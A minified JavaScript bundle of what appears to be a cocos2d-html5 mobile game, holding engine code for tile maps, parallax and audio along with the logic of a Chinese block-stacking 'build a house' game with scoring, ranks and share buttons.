- if(!this.Id||!this.Ld)b.log("cc.TMXLayer.removeTileAt(): TMXLayer: the tiles map has been released");else if(0!==this.hF(a)){b.B===b.Aa&&this.ri();var d=0|a.x+a.y*this.qa.width,e=this.ZA(d);this.Id[d]=0;this.Ld.splice(e,1);if(d=this.Hh(d))b.te.prototype.removeChild.call(this,d,!0);else if(b.B===b.W&&this.textureAtlas.rP(e),this.u)for(var d=this.u,f=0,g=d.length;f<g;f++){var h=d[f];if(h){var k=h.atlasIndex;k>=e&&(h.atlasIndex=k-1)}}}},ox:function(a,c){void 0!==c&&(a=b.d(a,c));var d=b.d(0,0);switch(this.Ij){case b.yu:d=
- this.uY(a);break;case b.xu:d=this.tY(a);break;case b.Hl:d=this.sY(a)}return b.TF(d)},cF:function(a){return this.Gb[a]},S5:function(){b.B===b.Aa?this.eg.Cx=this.jc.Q:(this.eg.Cx=this.textureAtlas.texture.Q,this.textureAtlas.texture.fG());this.nY();b.B===b.Aa&&this.ri();for(var a=this.qa.height,c=this.qa.width,d=0;d<a;d++)for(var e=0;e<c;e++){var f=this.Id[e+c*d];0!==f&&(this.JV(f,b.d(e,d)),this.$l=Math.min(f,this.$l),this.Zl=Math.max(f,this.Zl))}this.Zl>=this.eg.Pm&&this.$l>=this.eg.Pm||b.log("cocos2d:TMX: Only 1 tileset per layer is supported")},
- M:function(){b.log("addChild: is not supported on cc.TMXLayer. Instead use setTileGID or tileAt.")},removeChild:function(a,c){if(a)if(-1===this.u.indexOf(a))b.log("cc.TMXLayer.removeChild(): Tile does not belong to TMXLayer");else{b.B===b.Aa&&this.ri();var d=a.atlasIndex;this.Id[this.Ld[d]]=0;this.Ld.splice(d,1);b.te.prototype.removeChild.call(this,a,c)}},Yca:function(){return this.Zx},dka:function(a){this.Zx=a},tY:function(a){return b.d(this.Ub.width/2*(this.qa.width+a.x-a.y-1),this.Ub.height/2*
- (2*this.qa.height-a.x-a.y-2))},uY:function(a){return b.d(a.x*this.Ub.width,(this.qa.height-a.y-1)*this.Ub.height)},sY:function(a){return b.d(a.x*this.Ub.width*3/4,(this.qa.height-a.y-1)*this.Ub.height+(1==a.x%2?-this.Ub.height/2:0))},RV:function(a){var c=b.d(0,0);switch(this.Ij){case b.yu:c=b.d(a.x*this.Ub.width,-a.y*this.Ub.height);break;case b.xu:c=b.d(this.Ub.width/2*(a.x-a.y),this.Ub.height/2*(-a.x-a.y));break;case b.Hl:0===a.x&&0===a.y||b.log("offset for hexagonal map not implemented yet")}return c},
- JV:function(a,c){var d=this.eg.jt(a),d=b.ml(d),e=0|c.x+c.y*this.qa.width,d=this.WC(d);this.rw(d,c,a);var f=this.Ld.length;this.Jx(d,f);this.Ld.splice(f,0,e);return d},IX:function(a,c){var d=this.eg.jt(a),d=b.ml(d),e=0|c.x+c.y*this.qa.width,d=this.WC(d);this.rw(d,c,a);var f=this.LV(e);this.Jx(d,f);this.Ld.splice(f,0,e);if(this.u)for(var g=this.u,h=0,k=g.length;h<k;h++){var m=g[h];if(m){var p=m.atlasIndex;p>=f&&(m.atlasIndex=p+1)}}this.Id[e]=a;return d},QZ:function(a,c){var d=this.eg.jt(a),e=this.dh,
- d=b.rect(d.x/e,d.y/e,d.width/e,d.height/e),e=c.x+c.y*this.qa.width,d=this.WC(d);this.rw(d,c,a);d.atlasIndex=this.ZA(e);d.dirty=!0;d.Se();this.Id[e]=a;return d},nY:function(){var a=this.cF("cc_vertexz");if(a)if("automatic"==a){this.QD=!0;var c=this.cF("cc_alpha_func"),a=0;c&&(a=parseFloat(c));b.B===b.W&&(this.shaderProgram=b.Hd.nc(b.ru),c=b.l.getUniformLocation(this.shaderProgram.Vm(),b.SI),this.shaderProgram.Ic(),this.shaderProgram.rt(c,a))}else this.WD=parseInt(a,10)},rw:function(a,c,d){var e=c.x+
- c.y*this.qa.width;a.T(this.ox(c));b.B===b.W?a.vertexZ=this.tM(c):a.tag=e;a.anchorX=0;a.anchorY=0;a.opacity=this.Pd;b.B===b.W&&(a.rotation=0);a.Ay(!1);a.mG(!1);(d&b.gI)>>>0?(a.anchorX=0.5,a.anchorY=0.5,a.x=this.ox(c).x+a.width/2,a.y=this.ox(c).y+a.height/2,c=(d&(b.Mq|b.Nq)>>>0)>>>0,c==b.Mq?a.rotation=90:c==b.Nq?a.rotation=270:(a.rotation=c==(b.Nq|b.Mq)>>>0?90:270,a.Ay(!0))):((d&b.Mq)>>>0&&a.Ay(!0),(d&b.Nq)>>>0&&a.mG(!0))},WC:function(a){b.B===b.W?(this.qh?(this.qh.batchNode=null,this.qh.qb(a,!1)):
- (this.qh=new b.D,this.qh.sa(this.texture,a,!1)),this.qh.batchNode=this):(this.qh=new b.D,this.qh.sa(this.Uk,a,!1),this.qh.batchNode=this,this.qh.parent=this);return this.qh},tM:function(a){var c=0,d=0;if(this.QD)switch(this.Ij){case b.xu:d=this.qa.width+this.qa.height;c=-(d-(a.x+a.y));break;case b.yu:c=-(this.qa.height-a.y);break;case b.Hl:b.log("TMX Hexa zOrder not supported");break;default:b.log("TMX invalid value")}else c=this.WD;return c},ZA:function(a){var c;if(this.Ld)for(var d=this.Ld,e=0,
- f=d.length;e<f&&(c=d[e],c!=a);e++);"number"!=typeof c&&b.log("cc.TMXLayer._atlasIndexForExistantZ(): TMX atlas index not found. Shall not happen");return e},LV:function(a){for(var c=this.Ld,d=0,e=c.length;d<e&&!(a<c[d]);d++);return d}});n=b.Kq.prototype;b.B==b.W?(n.Z=b.te.prototype.Z,n.U=b.te.prototype.U,n.Ca=b.te.prototype.Ca):(n.Z=n.Ql,n.U=n.zm,n.Ca=n.vr);b.j(n,"texture",n.Ca,n.Ya);b.j(n,"layerWidth",n.ZW,n.UY);b.j(n,"layerHeight",n.YW,n.TY);b.j(n,"tileWidth",n.xr,n.Yr);
- b.j(n,"tileHeight",n.wr,n.Xr);b.Kq.create=function(a,c,d){return new b.Kq(a,c,d)};b.Rz=b.oa.extend({Tr:null,wa:null,ar:null,ctor:function(a,c){this.q2(a,c)},Gda:function(){return this.Tr},Eka:function(a){this.Tr=a},Um:function(){return this.wa},Fy:function(a){this.wa=a},gca:function(){return this.ar},V4:function(a){this.ar=a},q2:function(a,c){this.Tr=a;this.wa=c;this.ar=null;return!0}});b.Rz.create=function(a,c){return new b.Rz(a,c)};
- b.FH=b.m.extend({$m:null,eC:null,ub:"ParallaxNode",uda:function(){return this.$m},vka:function(a){this.$m=a},ctor:function(){b.m.prototype.ctor.call(this);this.$m=[];this.eC=b.d(-100,-100)},M:function(a,c,d,e){if(3===arguments.length)b.log("ParallaxNode: use addChild(child, z, ratio, offset) instead");else{if(!a)throw"cc.ParallaxNode.addChild(): child should be non-null";var f=new b.Rz(d,e);f.V4(a);this.$m.push(f);a.T(this.xa.x*d.x+e.x,this.xa.y*d.y+e.y);b.m.prototype.M.call(this,a,c,a.tag)}},removeChild:function(a,
- c){for(var d=this.$m,e=0;e<d.length;e++)if(d[e].ar==a){d.splice(e,1);break}b.m.prototype.removeChild.call(this,a,c)},Xf:function(a){this.$m.length=0;b.m.prototype.Xf.call(this,a)},U:function(){var a=this.zV();if(!b.SF(a,this.eC)){for(var c=this.$m,d=0,e=c.length;d<e;d++){var f=c[d];f.ar.T(-a.x+a.x*f.Tr.x+f.Um().x,-a.y+a.y*f.Tr.y+f.Um().y)}this.eC=a}b.m.prototype.U.call(this)},zV:function(){for(var a=this.xa,c=this;null!=c.parent;)c=c.parent,a=b.Mj(a,c.nx());return a}});b.FH.create=function(){return new b.FH};if(b.pa.Dw){var Y=b.dma=new (window.AudioContext||window.webkitAudioContext||window.mozAudioContext);b.JA=b.oa.extend({jo:null,ab:null,pm:null,bE:null,src:null,UF:null,autoplay:null,controls:null,hha:null,currentTime:0,startTime:0,duration:0,hC:null,aE:1,$v:0,kc:!1,si:!0,yg:-1,ctor:function(a){this.jo={};this.src=a;this.bE=Y.createGain?Y.createGain():Y.createGainNode();this.dY=this.cY.bind(this);this.aY=this.$X.bind(this)},xC:function(a){var c=this.pm=Y.createBufferSource(),d=this.bE;a=a||0;c.buffer=
- this.ab;d.gain.value=this.aE;c.connect(d);d.connect(Y.destination);c.loop=this.hC;c.si=!1;c.playbackState||(c.onended=function(){this.si=!0});this.si=this.kc=!1;c.start?c.start(0,a):c.noteGrainOn?(d=c.buffer.duration,this.loop?c.noteGrainOn(0,a,d):c.noteGrainOn(0,a,d-a)):c.noteOn(0);this.$v=0},eM:function(){var a=this.pm;this.si||(a.stop?a.stop(0):a.jha(0),this.si=!0)},play:function(){if(-1==this.yg)this.yg=0;else if(1==this.yg){var a=this.pm;if(this.si||!a||2!=a.playbackState&&a.si)this.startTime=
- Y.currentTime,this.xC(0)}},pause:function(){this.$v=Y.currentTime;this.kc=!0;this.eM()},Mp:function(){this.kc&&this.xC(this.ab?(this.$v-this.startTime)%this.ab.duration:0)},stop:function(){this.$v=0;this.kc=!1;this.eM()},load:function(){var a=this;if(1!=a.yg){a.yg=-1;a.played=!1;a.ended=!0;var c=new XMLHttpRequest;c.open("GET",a.src,!0);c.responseType="arraybuffer";c.onload=function(){Y.decodeAudioData(c.response,a.dY,a.aY)};c.send()}},addEventListener:function(a,c){this.jo[a]=c.bind(this)},removeEventListener:function(a){delete this.jo[a]},
- kaa:function(){return b.pa.Dw},cY:function(a){this.ab=a;a=this.jo.success;var c=this.jo.canplaythrough;a&&a();c&&c();0!=this.yg&&"autoplay"!=this.autoplay&&!0!=this.autoplay||this.xC();this.yg=1},$X:function(){var a=this.jo.error;a&&a();this.yg=-2},cloneNode:function(){var a=new b.JA(this.src);a.volume=this.volume;a.yg=this.yg;a.ab=this.ab;0!=a.yg&&-1!=a.yg||a.load();return a}});n=b.JA.prototype;b.j(n,"loop",function(){return this.hC},function(a){this.hC=a;this.pm&&(this.pm.loop=a)});b.j(n,"volume",
- function(){return this.aE},function(a){this.aE=a;this.bE.gain.value=a});b.j(n,"paused",function(){return this.kc});b.j(n,"ended",function(){var a=this.pm;return this.kc?!1:this.si&&!a?!0:null==a.playbackState?a.si:3==a.playbackState});b.j(n,"played",function(){var a=this.pm;return a&&(2==a.playbackState||!a.si)})}
- b.QG=b.oa.extend({sD:!1,Lc:null,hr:null,cf:0,kJ:0,be:{},Zq:{},mv:1,jC:5,tk:null,Or:[],ctor:function(){this.sD=0<b.$A.Ew.length;this.tk&&(this.tk=this.tk.bind(this))},fma:function(){return!1},yca:function(){return this.mv},nia:function(a,c){if(this.sD){var d=this.Lc;d&&this.Rk(d);b.pa.Mg&&b.pa.Zm==b.pa.yq?(d=this.xv(a),this.Lc=d.cloneNode(),this.hr=a):a!=this.hr&&(this.Lc=d=this.xv(a),this.hr=a);this.Lc&&(this.Lc.loop=c||!1,this.yC(this.Lc))}},xv:function(a){var c=b.V,d=c.Cd(a);d||(c.load(a),d=c.Cd(a));
- return d},yC:function(a){a.ended||(a.stop?a.stop():(a.pause(),2<a.readyState&&(a.currentTime=0)));this.cf=2;a.play()},n6:function(a){if(0<this.cf){var c=this.Lc;c&&this.Rk(c)&&(a&&b.V.Mi(this.hr),this.hr=this.Lc=null,this.cf=0)}},Rk:function(a){return a&&!a.ended?(a.stop?a.stop():(a.pause(),2<a.readyState&&a.duration&&Infinity!=a.duration&&(a.currentTime=a.duration)),!0):!1},fP:function(){2==this.cf&&(this.Lc.pause(),this.cf=1)},G4:function(){1==this.cf&&(this.nj(this.Lc),this.cf=2)},nj:function(a){a&&
- !a.ended&&(a.Mp?a.Mp():a.play())},fja:function(){this.Lc&&this.yC(this.Lc)},lda:function(){return 0==this.cf?0:this.Lc.volume},lka:function(a){0<this.cf&&(this.Lc.volume=Math.min(Math.max(a,0),1))},BF:function(){return 2==this.cf&&this.Lc&&!this.Lc.ended},LB:function(a){var c=this.Zq[a];c||(c=this.Zq[a]=[]);return c},wK:function(a){var c;if(!this.sD)return null;var d=this.LB(a);if(b.pa.Mg&&b.pa.Zm==b.pa.yq)c=this.xK(d,a);else{for(var e=0,f=d.length;e<f;e++){var g=d[e];if(g.ended){c=g;2<c.readyState&&
- (c.currentTime=0);window.chrome&&c.load();break}}c||(c=this.xK(d,a))&&d.push(c)}return c},xK:function(a,c){var d;if(a.length>=this.jC)return b.log("Error: "+c+" greater than "+this.jC),null;d=this.xv(c);if(!d)return null;d=d.cloneNode(!0);this.tk&&b.Ha(d,"pause",this.tk);d.volume=this.mv;return d},ny:function(a,c){var d=this.wK(a);if(!d)return null;d.loop=c||!1;d.play();var e=this.kJ++;this.be[e]=d;return e},Oja:function(a){a=this.mv=Math.min(Math.max(a,0),1);var c=this.be,d;for(d in c)c[d].volume=
- a},Z3:function(a){(a=this.be[a])&&!a.ended&&a.pause()},X3:function(){var a=this.be,c;for(c in a){var d=a[c];d.ended||d.pause()}},F4:function(a){this.nj(this.be[a])},E4:function(){var a=this.be,c;for(c in a)this.nj(a[c])},m6:function(a){this.Rk(this.be[a]);delete this.be[a]},lQ:function(){var a=this.be,c;for(c in a)this.Rk(a[c]),delete a[c]},I6:function(a){var c=b.V,d=this.be,e=this.LB(a);c.Mi(a);if(0!=e.length){c=e[0].src;delete this.Zq[a];for(var f in d)d[f].src==c&&(this.Rk(d[f]),delete d[f])}},
- end:function(){this.n6();this.lQ()},pL:function(){var a=this.be,c,d;for(d in a)!(c=a[d])||c.ended||c.paused||(this.Or.push(c),c.pause());this.BF()&&(this.Or.push(this.Lc),this.Lc.pause())},HL:function(){for(var a=this.Or,c=0,d=a.length;c<d;c++)this.nj(a[c]);a.length=0}});
- !b.pa.Dw&&0>b.pa.AZ&&(b.RG=b.QG.extend({Yk:[],Nr:[],Af:null,jC:2,lv:{},dm:!1,ko:0,$B:!1,yC:function(a){this.AD();this._super(a)},G4:function(){1==this.cf&&(this.AD(),this.dm=!1,this.ko=0,this._super())},ny:function(a,c){var d=this.Af,e=c?this.wK(a):this.nX(a);if(!e)return null;e.loop=c||!1;var f=this.kJ++;this.be[f]=e;this.BF()&&(this.fP(),this.dm=!0);d?(d!=e&&this.Yk.push(this.ao),this.Yk.push(f),d.pause()):(this.Af=e,this.ao=f,e.play());return f},Z3:function(){b.log("pauseEffect not supported in single audio mode!")},
- X3:function(){var a=this.Yk,c=this.Nr,d=this.Af;if(d){for(var e=0,f=a.length;e<f;e++)c.push(a[e]);a.length=0;c.push(this.ao);d.pause()}},F4:function(){b.log("resumeEffect not supported in single audio mode!")},E4:function(){var a=this.Yk,c=this.Nr;this.BF()&&(this.fP(),this.dm=!0);for(var d=0,e=c.length;d<e;d++)a.push(c[d]);c.length=0;!this.Af&&0<=a.length&&(a=a.pop(),c=this.be[a])&&(this.ao=a,this.Af=c,this.nj(c))},m6:function(a){var c=this.Af,d=this.Yk,e=this.Nr;c&&this.ao==a?this.Rk(c):(c=d.indexOf(a),
- 0<=c?d.splice(c,1):(c=e.indexOf(a),0<=c&&e.splice(c,1)))},lQ:function(){this.AD();!this.Af&&this.dm&&(this.nj(this.Lc),this.cf=2,this.dm=!1,this.ko=0)},I6:function(a){var c=b.V,d=this.be,e=this.lv,f=this.LB(a),g=this.Af;c.Mi(a);if(0!=f.length||e[a]){c=0<f.length?f[0].src:e[a].src;delete this.Zq[a];delete e[a];for(var h in d)d[h].src==c&&delete d[h];g&&g.src==c&&this.Rk(g)}},nX:function(a){var c=this.lv[a],d=this.Yk,e=this.Nr,f=this.be;if(c)2<c.readyState&&(c.currentTime=0);else{c=this.xv(a);if(!c)return null;
- c=c.cloneNode(!0);this.tk&&b.Ha(c,"pause",this.tk);c.volume=this.mv;this.lv[a]=c}a=0;for(var g=d.length;a<g;)f[d[a]]==c?d.splice(a,1):a++;a=0;for(g=e.length;a<g;)f[e[a]]==c?e.splice(a,1):a++;c.Er=!0;return c},AD:function(){var a=this.Af,c=this.Zq,d=this.lv,e=this.Yk,f=this.Nr;if(a||0!=e.length||0!=f.length){for(var g in d){var h=d[g];2<h.readyState&&h.duration&&Infinity!=h.duration&&(h.currentTime=h.duration)}e.length=0;f.length=0;for(g in c)for(d=c[g],e=0,f=d.length;e<f;e++)h=d[e],h.loop=!1,2<h.readyState&&
- h.duration&&Infinity!=h.duration&&(h.currentTime=h.duration);a&&this.Rk(a)}},tk:function(){if(!this.$B){var a=this.qX();if(a)a.Er?(delete a.Er,a.play()):this.nj(a);else if(this.dm){a=this.Lc;if(2<a.readyState&&a.duration&&Infinity!=a.duration){var c=a.currentTime+this.ko,c=c-a.duration*(c/a.duration|0);a.currentTime=c}this.ko=0;this.nj(a);this.cf=2;this.dm=!1}}},qX:function(){var a=this.Yk,c=this.be,d=this.Af,e=d?d.currentTime-(d.startTime||0):0;for(this.ko+=e;0!=a.length;){var f=a.pop();if(d=c[f]){if(d.Er||
- d.loop||d.duration&&d.currentTime+e<d.duration)return this.ao=f,this.Af=d,!d.Er&&2<d.readyState&&d.duration&&Infinity!=d.duration&&(a=d.currentTime+e,a-=d.duration*(a/d.duration|0),d.currentTime=a),d.Er=!1,d;2<d.readyState&&d.duration&&Infinity!=d.duration&&(d.currentTime=d.duration)}}return this.Af=this.ao=null},pL:function(){var a=this.Af;this.$B=!0;if(a=2==this.cf?this.Lc:a)this.Or.push(a),a.pause()},HL:function(){var a=this.Or;this.$B=!1;0<a.length&&(this.nj(a[0]),a.length=0)}}));
- b.$A={Ew:null,kx:function(){return b.V.v_},fC:function(a,c,d,e,f,g,h){var k=this,m=b.V,p=b.path,q=this.Ew,r="";if(0==q.length)return h("can not support audio!");if(-1==e)r=(p.$k(a)||"").toLowerCase(),k.w_(r)||(r=q[0],e=0);else if(e<q.length)r=q[e];else return h("can not found the resource of audio! Last match url is : "+a);if(0<=f.indexOf(r))return k.fC(a,c,d,e+1,f,g,h);a=p.OM(a,r);f.push(r);g=k.RX(a,g,function(m){if(m)return k.fC(a,c,d,e+1,f,g,h);h(null,g)},e==q.length-1);m.Of[c]=g},w_:function(a){return a?
- 0<=this.Ew.indexOf(a.toLowerCase()):!1},RX:function(a,c,d,e){var f;f="object"!=typeof window.cc&&"firefox"==b.pa.Aj?Audio:"file://"==location.origin?Audio:b.JA||Audio;2==arguments.length?(d=c,c=new f):3<arguments.length&&!c&&(c=new f);c.src=a;c.UF="auto";f=navigator.userAgent;/Mobile/.test(f)&&(/iPhone OS/.test(f)||/iPad/.test(f)||/Firefox/.test(f))||/MSIE/.test(f)?(c.load(),d(null,c)):(b.Ha(c,"canplaythrough",function(){d(null,c);this.removeEventListener("canplaythrough",arguments.callee,!1);this.removeEventListener("error",
- arguments.callee,!1)},!1),b.Ha(c,"error",function(){d("load "+a+" failed");e&&(this.removeEventListener("canplaythrough",arguments.callee,!1),this.removeEventListener("error",arguments.callee,!1))},!1),c.load());return c},load:function(a,c,d,e){this.fC(a,c,d,-1,[],null,e)}};
- b.$A.Ew=function(){var a=b.Rb("audio"),c=[];if(a.canPlayType){var d=function(c){c=a.canPlayType(c);return"no"!=c&&""!=c};d('audio/ogg; codecs\x3d"vorbis"')&&c.push(".ogg");d("audio/mpeg")&&c.push(".mp3");d('audio/wav; codecs\x3d"1"')&&c.push(".wav");d("audio/mp4")&&c.push(".mp4");(d("audio/x-m4a")||d("audio/aac"))&&c.push(".m4a")}return c}();b.V.Pj(["mp3","ogg","wav","mp4","m4a"],b.$A);b.vs=b.RG?new b.RG:new b.QG;b.ra.fE(b.wb.pz,function(){b.vs.pL()});b.ra.fE(b.wb.Jt,function(){b.vs.HL()});var Z={wha:"res/0.png",xha:"res/1.png",yha:"res/2.png",zha:"res/3.png",Aha:"res/4.png",Bha:"res/5.png",Cha:"res/6.png",Dha:"res/7.png",Eha:"res/8.png",Fha:"res/9.png",XG:"res/beijing_0.png",WG:"res/beijing_1.png",jT:"res/perfect.png",SR:"res/good.png",kV:"res/wall_0_0.png",lV:"res/wall_0_1.png",WI:"res/wall_0_2.png",mV:"res/wall_0_3.png",nV:"res/wall_0_4.png",oV:"res/wallback_1.png",Wj:"res/button.png",KT:"res/share.png",WU:"res/biaoti.png",vS:"res/logo2.png",jH:"res/qizi_1.png",PR:"res/fail.mp3",
- RR:"res/great.mp3",iT:"res/Perfect.mp3"},ua=[],U;for(U in Z)ua.push(Z[U]);var $=0,ya=b.fc.extend({yd:null,Iw:null,bm:0,cm:0,Ae:0,rh:0,vM:320,ij:16,TK:!1,Gv:!0,yh:0,nC:1,gL:1,me:20,xf:68,qf:null,jl:null,Ys:null,ctor:function(){this._super();b.ra.addListener({event:b.ta.Hn,hn:!0,Hi:this.Hi,Ji:this.Ji,Ii:this.Ii},this);this.ba();this.yy(this.step);return!0},ba:function(){$=0;var a=b.sf;this.Ae=a.width/2-this.vM/2;this.rh=a.width/2+this.vM/2;this.qf=b.m.create();this.M(this.qf,1);this.jl=b.m.create();this.jl.y=900;this.M(this.jl,2);this.Ys=b.m.create();this.M(this.Ys,2);this.BM(0);
- this.a_()},a_:function(){var a=b.sf;this.Iw=new b.D(Z.WU);this.Iw.x=a.width/2;this.Iw.y=a.height/2+200;this.Ys.M(this.Iw,2);var c=new b.P("\u70b9\u51fb\u5f00\u59cb","Arial",40);c.x=a.width/2;c.y=a.height/2+50;c.color=b.color(0,0,0);this.Ys.M(c,2);c=new b.D(Z.XG);c.x=a.width/2;c.y=a.height/2;this.M(c,0);c=new b.D(Z.WG);c.anchorX=0;c.anchorY=0;c.x=0;c.y=0;this.qf.M(c,0);c=new b.D(Z.oV);c.anchorY=0;c.x=a.width/2;c.y=124;this.qf.M(c,0);this.yh=356;this.CM(2)},CM:function(a){2<this.me?0==a?(a=new b.D(Z.kV,
- b.rect(0,0,this.ij*this.me,this.xf)),a.anchorX=0,a.anchorY=0,a.x=this.Ae,a.y=this.yh+($-1)*this.xf,this.qf.M(a,1)):1==a?(a=new b.D(Z.lV,b.rect(0,0,this.ij*this.me,this.xf)),a.anchorX=0,a.anchorY=0,a.x=this.Ae,a.y=this.yh+($-1)*this.xf,this.qf.M(a,1)):2==a&&(this.yd=new b.D(Z.WI),this.yd.anchorX=0,this.yd.anchorY=0,this.yd.x=0,this.yd.y=this.yh,this.qf.M(this.yd,1),this.bm=this.yd.x,this.cm=this.yd.x+this.yd.width):2==this.me?(a=new b.D(Z.nV),a.anchorX=0,a.anchorY=0,a.x=this.Ae,a.y=this.yh+($-1)*this.xf,
- this.qf.M(a,1)):1==this.me&&(a=new b.D(Z.mV),a.anchorX=0,a.anchorY=0,a.x=this.Ae,a.y=this.yh+($-1)*this.xf,this.qf.M(a,1))},L_:function(){var a=this.cm>this.rh+5?!0:!1;if(this.bm<this.Ae-5||a)return!1;this.Tw();return!0},K_:function(){var a=this.cm>this.rh+12?!0:!1;if(this.bm<this.Ae-12||a)return!1;this.Tw();this.Ae=this.bm;this.rh=this.cm;return!0},qaa:function(){return!0},Tw:function(){$++;this.BM($)},E3:function(){if(this.Gv){var a=Math.max(this.yh+$*this.xf-480,0);0<a&&(a=Math.max(this.qf.y-5,
- -a),this.qf.y=a)}},My:function(a){this.CM(Math.floor($%2));this.yd.x=1;this.yd.y=this.yh+$*this.xf;1==a&&this.yd.qb(b.rect(0,0,this.me*this.ij,this.xf))},CE:function(a,c){var d=b.sf,e=new b.D(Z.WI,b.rect(0,0,this.ij*a,this.xf));e.x=c;e.y=this.yh+($-1)*this.xf;this.qf.M(e,1);e.cb(b.Ve.create(b.Uj(b.moveTo(1.5,b.d(c,e.y-d.height/2)),b.bG(1.5,600)),b.wc(this.VO,this,e)))},VO:function(a){a.ry()},Sw:function(){if(0==Math.floor($%10)){var a=new b.D(Z.jH);a.anchorX=0;a.anchorY=0;a.x=this.rh-5;a.y=this.yh+
- ($-1)*this.xf+30;this.qf.M(a);a=new b.D(Z.jH);a.anchorX=1;a.anchorY=0;a.x=this.Ae-a.width+5;a.y=this.yh+($-1)*this.xf+30;a.Pp(-1);this.qf.M(a)}},AM:function(a){var c=null,d=b.sf;0==a?c=new b.D(Z.jT):1==a&&(c=new b.D(Z.SR));c.x=d.width/2;c.y=d.height-240;c.gn(0.1);this.M(c);c.cb(b.Ve.create(b.Og(0.3,1),b.Ud(0.2),b.wc(this.VO,this,c)))},Hi:function(a,c){var d=c.Wc;d.TK||(d.TK=!0,d.Ys.Tj(!1));if(d.Gv){if(d.L_())b.vs.ny(Z.iT),d.My(0),d.Sw(),d.AM(0);else if(d.K_())b.vs.ny(Z.RR),d.My(0),d.Sw(),d.AM(1);
- else{b.vs.ny(Z.PR);var e=d.bm,f=d.cm;f>d.Ae&&e<d.Ae&&1<d.me?(d.Tw(),e=Math.max(1,Math.floor((d.Ae-e)/d.ij)),d.me-=e,d.rh=d.Ae+d.me*d.ij,d.My(1),d.CE(e,d.Ae-20),d.Sw()):f>d.rh&&e<d.rh&&1<d.me?(d.Tw(),e=Math.max(1,Math.floor((f-d.rh)/d.ij)),d.me-=e,d.Ae=d.rh-d.me*d.ij,d.My(1),d.CE(e,d.rh+20),d.Sw()):(d.Gv=!1,d.CE(d.me,d.yd.x),d.yd.Tj(!1),d.cb(b.Hb(b.Ud(0.5),b.wc(d.P3))))}return!0}return!1},step:function(){this.Gv&&(0>=this.bm?this.nC=1:640<=this.cm&&(this.nC=-1),this.gL=Math.min(2+0.15*$,7.5),this.yd.x+=
- this.gL*this.nC,this.bm=this.yd.x,this.cm=this.yd.x+this.ij*this.me,this.E3())},P3:function(){b.J.ot(new va)},BM:function(a){this.jl.x=b.sf.width/2-42;this.jl.Xf(!0);var c=0;do{var d=new b.D("res/"+Math.floor(a%10)+".png");d.y=0;d.x=0-84*c;this.jl.M(d);a=Math.floor(a/10);c++;this.jl.x+=42}while(0<a)}}),Aa=b.fc.extend({Yl:null,ctor:function(){this._super();this.ba()},ba:function(){var a=b.J.ya(),c=new b.Uc(b.color(255,255,255,255),a.width,a.height);c.x=a.width/2;c.y=a.height/2;c.T((0,0),0);this.M(c);
- c=new b.D(Z.XG);c.x=a.width/2;c.y=a.height/2;this.M(c,0);c=new b.D(Z.WG);c.anchorX=0;c.anchorY=0;c.x=0;c.y=0;this.M(c,0);c=new b.D(Z.vS);c.x=a.width/2;c.y=a.height-50;this.M(c,1);var c=$,d="\u8bf7\u518d\u63a5\u518d\u5389",e=new b.P(d,"Arial",80);e.x=a.width/2;e.y=a.height-160;e.color=b.color(0,0,0);this.M(e,1);var f=new b.P("\u60a8\u5f97\u5230\u4e86"+c+"\u5206","Arial",40);f.x=a.width/2;f.y=a.height-250;f.color=b.color(0,0,0);this.M(f,1);f="\u60a8\u6253\u8d25\u4e86\u5168\u56fd"+Math.min(c/80*100,
- 99).toFixed(2)+"%\u7684\u73a9\u5bb6";f=new b.P(f,"Arial",40);f.x=a.width/2;f.y=a.height-320;f.color=b.color(0,0,0);this.M(f,1);20<=c&&30>c?d="\u8fd8\u9700\u78e8\u7ec3":30<=c&&40>c?d="\u5c0f\u8bd5\u8eab\u624b":40<=c&&50>c?d="\u521d\u7ea7\u6ce5\u74e6\u5320":50<=c&&60>c?d="\u521d\u7ea7\u5de5\u7a0b\u5e08":60<=c&&70>c?d="\u76d6\u697c\u80fd\u624b":70<=c&&80>c?d="\u76d6\u697c\u5927\u5e08":80<=c&&(d="\u5efa\u9020\u5927\u795e");e.ed(d);shareTitle="\u300a\u81ea\u5df1\u6765\u5efa\u623f\u300b\u3010\u641e\u5b9a\u4e08\u6bcd\u5a18\u3011\u6211\u5efa\u9020\u4e86\u4e00\u680b"+
- c+"\u5c42\u9ad8\u7684\u697c\uff0c\u4f60\u80fd\u5efa\u591a\u9ad8\uff1f";dp_submitScore(c,shareTitle);c=new b.En(Z.Wj,Z.Wj,this.M3,this);c.x=a.width/2;c.y=a.height/2+80;e=new b.P("\u91cd\u65b0\u5f00\u59cb","Arial",60);e.x=a.width/2;e.y=a.height/2+80;this.M(e,1);e=new b.En(Z.Wj,Z.Wj,this.WO,this);e.x=a.width/2;e.y=a.height/2-50;d=new b.P("\u5206\u4eab","Arial",60);d.x=a.width/2;d.y=a.height/2-50;this.M(d,1);d=new b.En(Z.Wj,Z.Wj,this.WO,this);d.x=a.width/2;d.y=a.height/2-180;f=new b.P("\u6536\u85cf","Arial",60);f.x=a.width/2;f.y=
- a.height/2-180;this.M(f,1);f=new b.En(Z.Wj,Z.Wj,this.L3,this);f.x=a.width/2;f.y=a.height/2-310;var g=new b.P("\u66f4\u591a\u6e38\u620f","Arial",60);g.x=a.width/2;g.y=a.height/2-310;this.M(g,1);a=new b.Dn(c,e,f,d);this.M(a);a.x=0;a.y=0;this.Yl=new b.Uc(b.color(0,0,0,210));this.Yl.Fd(b.size(b.sf.width,b.sf.height));this.M(this.Yl,2);this.Yl.Tj(!1);b.ra.addListener({event:b.ta.Hn,hn:!0,Hi:this.N3,Ji:this.Ji,Ii:this.Ii},this.Yl);a=new b.D(Z.KT);a.anchorX=0.5;a.anchorY=0.5;a.x=b.sf.width/2;a.y=b.sf.height/
- 2+200;this.Yl.M(a)},N3:function(a,c){var d=c.Wc;return!0==d.Zb?(d.Tj(!1),!0):!1},Ji:function(){},Ii:function(){},M3:function(){b.J.ot(new za)},WO:function(){this.Yl.Tj(!0)},L3:function(){clickMore();}}),va=b.ck.extend({aa:function(){this._super();var a=new Aa;this.M(a)}}),za=b.ck.extend({aa:function(){this._super();var a=new ya;this.M(a)}});b.wb.XO=function(){b.view.b_(!0);b.view.jG(640,960,b.Ue.SHOW_ALL);b.view.C4(!0);b.gC="res/logo.png";b.Ez.UF(ua,function(){b.J.ot(new za)},this)};b.wb.L4();
